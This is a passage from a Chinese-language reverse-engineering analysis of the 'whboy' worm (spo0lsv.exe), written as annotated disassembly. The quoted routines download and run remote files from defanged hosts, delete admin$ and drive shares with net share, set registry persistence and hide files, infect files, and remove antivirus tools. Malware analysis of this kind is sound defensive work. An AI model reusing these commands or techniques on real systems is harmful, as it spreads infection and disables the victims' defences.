hxxp://www.koshadu.com/down/zt.exe // 征途
2.10.2 Timer=30min
0040D104 68 28C74000 push GameSetu.0040C728 ; 执行主体
0040D109 68 40771B00 push 1B7740 ; 时间
0040D10E 6A 00 push 0
0040D110 6A 00 push 0
0040D112 E8 2D7BFFFF call GameSetu.00404C44 ; jmp to user32.SetTimer
0040C75A B8 74C94000 mov eax,GameSetu.0040C974 ; 加密过的字符串
0040C75F E8 88FDFFFF call GameSetu.0040C4EC ; 解密
堆栈 ss:[0012FFB0]=00CC0094, (ASCII "hxxp://update.whboy.net/worm.txt")
0040C777 BA A0C94000 mov edx,GameSetu.0040C9A0 ; ASCII "QQ"
0040C832 E8 ADFCFFFF call GameSetu.0040C4E4 ; jmp to URLMON.URLDownloadToFileA
0040C874 E8 5B83FFFF call GameSetu.00404BD4 ; jmp to KERNEL32.WinExec
这个txt没能下载下来.
2.11 关闭中毒机器默认共享:
据loveboom分析只是为了避免病毒重复工作.
关闭:cmd.exe /c net share 驱动器名$ /del /y
0040CE07 E8 98A7FFFF call GameSetu.004075A4
004075E8 E8 5FD5FFFF call GameSetu.00404B4C ; jmp to KERNEL32.GetDriveTypeA
0040CE1D 68 94CE4000 push GameSetu.0040CE94 ; ASCII "cmd.exe /c net share "
0040CE34 68 B4CE4000 push GameSetu.0040CEB4 ; ASCII "$ /del /y"
0040CE4E 50 push eax
0040CE4F E8 807DFFFF call GameSetu.00404BD4 ; jmp to KERNEL32.WinExec
关闭:cmd.exe /c net share admin$ /del /y
0040CE5B 68 C0CE4000 push GameSetu.0040CEC0 ; ASCII "cmd.exe /c net share admin$ /del /y"
0040CE60 E8 6F7DFFFF call GameSetu.00404BD4 ; jmp to KERNEL32.WinExec
2.12 修改注册表隐藏病毒
将以1秒钟为周期不断设置如下键值:
HKEY_CURRENT_USER
"Software\Microsoft\Windows\CurrentVersion\Run"
svcshare=%病毒文件路径%
HKEY_LOCAL_MACHINE
"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"
CheckedValue=0
设置时间:
0040D096 68 E4CE4000 push GameSetu.0040CEE4 ; 要执行的目标
0040D09B 68 E8030000 push 3E8 ; 1000ms
0040D0A0 6A 00 push 0
0040D0A2 6A 00 push 0
0040D0A4 E8 9B7BFFFF call <jmp.&user32.SetTimer>
执行目标:
0040CF09 68 7CCF4000 push GameSetu.0040CF7C ; ASCII "drivers\"
0040CF0E 68 90CF4000 push GameSetu.0040CF90 ; ASCII "spo0lsv.exe"
0040CF13 8D45 FC lea eax,dword ptr ss:[ebp-4]
0040CF16 BA 03000000 mov edx,3
0040CF1B E8 6C70FFFF call GameSetu.00403F8C
0040CF20 8B45 FC mov eax,dword ptr ss:[ebp-4]
0040CF23 E8 A471FFFF call GameSetu.004040CC
0040CF28 50 push eax
0040CF29 B9 9CCF4000 mov ecx,GameSetu.0040CF9C ; ASCII "svcshare"
0040CF2E BA A8CF4000 mov edx,GameSetu.0040CFA8 ; ASCII "Software\Microsoft\Windows\CurrentVersion\Run"
0040CF33 B8 01000080 mov eax,80000001
0040CF38 E8 7F82FFFF call GameSetu.004051BC
0040CF3D 33C9 xor ecx,ecx
0040CF3F BA E0CF4000 mov edx,GameSetu.0040CFE0 ; ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"
0040CF44 B8 02000080 mov eax,80000002
0040CF49 E8 A28AFFFF call GameSetu.004059F0
3.按代码流程分析:
整体流程:
先比较2个字符串,不同就退出:
0040D5D6 BA 90D84000 mov edx,GameSetu.0040D890 ; ASCII "xboy"
0040D600 BA CCD84000 mov edx,GameSetu.0040D8CC ; ASCII "whboy"
然后拷贝病毒,感染文件并反杀毒及下载其他病毒:
0040D627 E8 70ABFFFF call GameSetu.0040819C ; 模块1-拷贝病毒
0040D62C E8 5BFBFFFF call GameSetu.0040D18C ; 模块2-感染文件
0040D631 E8 52FAFFFF call GameSetu.0040D088 ; 模块3-清除反病毒并下载其他病毒
3.1 模块1-拷贝病毒:
0040D627 E8 70ABFFFF call GameSetu.0040819C ; 模块1-拷贝病毒
是否存在Desktop_.ini,存在就设置为normal然后删除:
004081E1 BA 98874000 mov edx,GameSetu.00408798 ; ASCII "Desktop_.ini"
...
0040823D E8 72C9FFFF call GameSetu.00404BB4 ; jmp to KERNEL32.SetFileAttributesA
...
00408283 E8 7CC8FFFF call GameSetu.00404B04 ; jmp to KERNEL32.DeleteFileA
判断是否感染过:
004082DF 8B45 FC mov eax,dword ptr ss:[ebp-4]
004082E2 807C18 FF 00 cmp byte ptr ds:[eax+ebx-1],0 ; 文件尾是否为0?
004082E7 ^ 75 CE jnz short GameSetu.004082B7 ; 判断感染前还是感染后
004082E9 837D F8 00 cmp dword ptr ss:[ebp-8],0 ; 感染标志
004082ED 0F85 6B010000 jnz GameSetu.0040845E
如果未感染,那么拷贝病毒.参看2.5.
3.2 模块2-感染文件:
0040D62C E8 5BFBFFFF call GameSetu.0040D18C ; 模块2-感染文件
0040D18C E8 1FD4FFFF call GameSetu.0040A5B0 ; 创建线程感染文件,参看2.6＆2.7
0040D191 E8 DEF1FFFF call GameSetu.0040C374 ; 写Autorun.inf,参看2.9
0040D196 66:B8 0A00 mov ax,0A
0040D19A E8 2DE9FFFF call GameSetu.0040BACC ; 感染网络,参看2.8
0040D19F C3 retn
3.3 模块3-清除反病毒并下载其他病毒
0040D631 E8 52FAFFFF call GameSetu.0040D088 ; 模块3-清除反病毒并下载其他病毒
设置病毒自启动并修改隐藏标志,参看2.12;
中止相应字符串的窗口,关闭进程,参看2.1,2.2;
下载其他病毒,参看2.10;
关闭共享,参看2.11;
清除杀毒软件相关服务,参看2.3.
4.其他:
4.1解密得到n多网址:???????????
0040D0F1 68 4CCC4000 push GameSetu.0040CC4C ; 执行地址
0040D0F6 68 10270000 push 2710 ; 时间
0040D0FB 6A 00 push 0
0040D0FD 6A 00 push 0
0040D0FF E8 407BFFFF call GameSetu.00404C44 ; jmp to user32.SetTimer
0040CC6C B8 28CD4000 mov eax,GameSetu.0040CD28
0040CC71 E8 76F8FFFF call GameSetu.0040C4EC
堆栈 ss:[0012FC8C]=00CC00C4, (ASCII "http://www.tom.com")
0040CC89 B8 44CD4000 mov eax,GameSetu.0040CD44
0040CC8E E8 59F8FFFF call GameSetu.0040C4EC
堆栈 ss:[0012FC84]=00CC00E4, (ASCII "http://www.163.com")
0040CCA6 B8 60CD4000 mov eax,GameSetu.0040CD60
0040CCAB E8 3CF8FFFF call GameSetu.0040C4EC
堆栈 ss:[0012ECBC]=00CC0274, (ASCII "http://www.sohu.com")
0040CCC3 B8 7CCD4000 mov eax,GameSetu.0040CD7C
0040CCC8 E8 1FF8FFFF call GameSetu.0040C4EC
堆栈 ss:[0012F800]=00CC03A8, (ASCII "http://www.yahoo.com")
0040CCE0 B8 9CCD4000 mov eax,GameSetu.0040CD9C
0040CCE5 E8 02F8FFFF call GameSetu.0040C4EC
堆栈 ss:[0012F800]=00CC03CC, (ASCII "http://www.google.com")
不会用来DDos攻击吧?
0
相关文章
关注我们
